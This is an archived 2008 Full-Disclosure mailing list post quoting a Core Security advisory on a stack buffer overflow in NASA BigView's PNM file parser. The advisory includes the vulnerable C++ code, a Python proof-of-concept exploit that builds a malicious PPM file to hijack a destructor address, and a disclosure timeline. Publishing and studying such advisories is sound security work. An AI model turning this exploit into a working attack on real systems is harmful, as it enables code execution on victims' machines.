lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Thu, 05 Jun 2008 00:28:41 -0300
From: root <root_@...ertel.com.ar>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: CORE-2008-0425 - NASA BigView Stack Buffer
 Overflow

Take this, Luigi "no fix" Auriemma!


CORE Security Technologies Advisories wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
>       Core Security Technologies - CoreLabs Advisory
>           http://www.coresecurity.com/corelabs/
> 
>            NASA BigView Stack Buffer Overflow
> 
> 
> *Advisory Information*
> 
> Title: NASA BigView Stack Buffer Overflow
> Advisory ID: CORE-2008-0425
> Advisory URL: http://www.coresecurity.com/?action=item&id=2304
> Date published: 2008-06-04
> Date of last update: 2008-06-03
> Vendors contacted: NASA Ames Research Center
> Release mode: Coordinated release
> 
> 
> *Vulnerability Information*
> 
> Class: Stack Overflow
> Remotely Exploitable: Yes (client side)
> Locally Exploitable: No
> Bugtraq ID: 29517	
> CVE Name: CVE-2008-2542	
> 
> 
> *Vulnerability Description*
> 
> NASA BigView [1] allows for interactive panning and zooming of images of
> arbitrary size on desktop PCs running Linux. Using this software, one
> can explore (on relatively modest machines) images such as the Mars
> Orbiter Camera mosaic [92160x33280 pixels].
> 
> The BigView package suffers from a stack buffer overflow when parsing
> specially crafted (invalid) PNM input files. If successful, a malicious
> third party could trigger execution of arbitrary code within the context
> of the application, or otherwise crash the whole application. The
> vulnerability is caused due to the BigView package not properly checking
> the line length of the ascii PNM input files before copying it on a
> stack buffer. This can be exploited to get arbitrary code execution by
> opening a specially crafted file.
> 
> Exploitation of the PNM overflow problem requires the user to explicitly
> open a malicious file. The user should refrain from opening files from
> untrusted third parties or accessing untrusted Web sites until the patch
> is applied.
> 
> 
> *Vulnerable Packages*
> 
> . BigView revision 1.8.
> . Older BigView versions could be affected too, but they were not tested.
> 
> 
> *Non-vulnerable Packages*
> 
> . Available through BigView website (since June 2nd 2008, see below).
> 
> 
> *Vendor Information, Solutions and Workarounds*
> 
> The NASA BigView team has published a new version fixing this
> vulnerability. The tarball is available on BigView's website:
> http://opensource.arc.nasa.gov/project/bigview/
> 
> 
> *Credits*
> 
> This vulnerability was discovered and researched by Alfredo Ortega, from
> CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.
> 
> 
> *Technical Description / Proof of Concept Code*
> 
> The BigView package suffers from a stack buffer overflow when parsing
> specially crafted (invalid) PNM input files. If successful, a malicious
> third party could trigger execution of arbitrary code within the context
> of the application, or otherwise crash the whole application.
> 
> The vulnerability resides in the following code at 'Ppm/ppm.C'. Here,
> the function 'getline()' reads data from a file into a buffer. This is
> the complete function:
> 
> /-----------
> 
> 418 static void getline(int fin, char* lineBuf, int len)
> 419 {
> 420   bool done=false;
> 421   int index=0;
> 422   lineBuf[index]=' ';
> 423   while(! done){
> 424     lineBuf[index] = getOneChar(fin);
> 425     if( lineBuf[index]==10 ) {
> 426       lineBuf[index]=0;
> 427       done=true;
> 428     }
> 429     ++index;
> 430   }
> 431   lineBuf[index]=0;
> 432 }
> 
> - -----------/
> 
> Clearly the function requires the length of the destination buffer, but
> it is never used internally. This function is used on the
> 'PPM::ppmHeader()' function, to read the header of the PPM file.
> 
> /-----------
> 
> 56  PPM::ppmHeader(string filename, PPM::Format* format,
> 57                 int* cpp, int* bpc,
> 58                 int* sizeX, int* sizeY,
> 59                 int* imageOffset)
> 60  {
> 61    std::ostringstream err;
> 62    char magic[3],lineBuf[512],junk;
> 63    int res,max;
> .
> .
> .
> 115   while( junk == '#' ){
> 116     getline(fin,lineBuf,512);
> 117     cout << "Comment:"<<lineBuf<<":"<<endl;
> 118     junk = getOneChar(fin);
> 119   }
> 
> - -----------/
> 
> Here, the 'lineBuf' buffer is allocated on the stack, with a size of 512
> bytes. If the PPM contains a line longer than 512 bytes on the header, a
> buffer overflow will ensue. The following proof of concept is a python
> script that creates a PNM file that triggers the overflow and jumps to
> an arbitrary position (0x41414141 on the PoC) when loaded with BigView
> compiled on Ubuntu 6.06 LTS.
> 
> /-----------
> 
> ## BigView exploit
> ## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
> ## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06
> Desktop i386
> 
> import struct
> w = open("crash.ppm","wb")
> w.write("""P3
> #CREATOR: The GIMP's PNM Filter Version
> 1.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""")
> # This exploit is not trivial, because the function PPM::ppmHeader()
> doesn't return inmmediately, and we must modify internal variables to
> cause an overwrite of a C++ string destructor executed at the end of the
> function to gain control of EIP
> # PS.: Congrats for the Phoenix mars Lander!
> for i in range(7):
> 				w.write(chr(i)*4)
> w.write("AA")
> w.write(struct.pack("<L",0xaaaaaaaa))
> w.write(struct.pack("<L",0xbbbbbbbb))
> w.write(struct.pack("<L",0xcccccccc))
> w.write(struct.pack("<L",0x08080000))
> w.write(struct.pack("<L",0x08080000)*48)
> 
> #The address of the destructor is hard-coded. Sorry but this is only a PoC!
> destination = 0x0805b294 # destructor
> value = 0x41414141 #address to jump to
> w.write(struct.pack("<L",destination)) # destination
> 
> w.write("""
> %d 300
> 255
> 255
> 255
> 255
> """ % value)
> w.close()
> 
> - -----------/
> 
> 
> *Report Timeline*
> 
> . 2008-04-24:
> Initial contact email sent by Core to BigView team setting the estimated
> publication date of the advisory to May 19th.
> 
> . 2008-04-28:
> Vendor acknowledges the email notification.
> 
> . 2008-04-30:
> Core sends the advisory draft to BigView support team. No reply received.
> 
> . 2008-05-12:
> New email sent to BigView asking for a response. No reply received.
> 
> . 2008-05-15:
> New email sent to BigView asking for a response.
> 
> . 2008-05-15:
> BigView support team informs us that a new patched version is ready, but
> is not yet available via BigView webpage.
> 
> . 2008-05-19:
> Core does not release the advisory (as planned).
> 
> . 2008-05-19:
> New email sent to BigView team asking if the fixed version is available
> to the users.
> 
> . 2008-05-26:
> New email sent to BigView team, refreshing the communications that took
> place, and asking for an answer.
> 
> . 2008-06-02:
> Vendor responds that a tarball with fixes has been published on
> BigView's website.
> 
> . 2008-06-03:
> Core sends the final version of the advisory to the BigView team.
> 
> . 2008-06-04:
> CORE-2008-0425 advisory is published.
> 
> 
> *References*
> 
> [1] http://opensource.arc.nasa.gov/project/bigview/
> 
> 
> *About CoreLabs*
> 
> CoreLabs, the research center of Core Security Technologies, is charged
> with anticipating the future needs and requirements for information
> security technologies. We conduct our research in several important
> areas of computer security including system vulnerabilities, cyber
> attack planning and simulation, source code auditing, and cryptography.
> Our results include problem formalization, identification of
> vulnerabilities, novel solutions and prototypes for new technologies.
> CoreLabs regularly publishes security advisories, technical papers,
> project information and shared software tools for public use at:
> http://www.coresecurity.com/corelabs/.
> 
> 
> *About Core Security Technologies*
> 
> Core Security Technologies develops strategic solutions that help
> security-conscious organizations worldwide develop and maintain a
> proactive process for securing their networks. The company's flagship
> product, CORE IMPACT, is the most comprehensive product for performing
> enterprise security assurance testing. CORE IMPACT evaluates network,
> endpoint and end-user vulnerabilities and identifies what resources are
> exposed. It enables organizations to determine if current security
> investments are detecting and preventing attacks. Core Security
> Technologies augments its leading technology solution with world-class
> security consulting services, including penetration testing and software
> security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
> Security Technologies can be reached at 617-399-6980 or on the Web at
> http://www.coresecurity.com.
> 
> 
> *Disclaimer*
> 
> The contents of this advisory are copyright (c) 2008 Core Security
> Technologies and (c) 2008 CoreLabs, and may be distributed freely
> provided that no fee is charged for this distribution and proper credit
> is given.
> 
> 
> *GPG/PGP Keys*
> 
> This advisory has been signed with the GPG key of Core Security
> Technologies advisories team, which is available for download at
> http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.7 (MingW32)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
> 
> iD8DBQFIRu4lyNibggitWa0RAljKAJ4iVfRGNB6Hz+tA6DKFqpovws/cwACfSBFF
> a9ffEcKqAre7M1jXT9OpHOg=
> =UCFz
> -----END PGP SIGNATURE-----
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ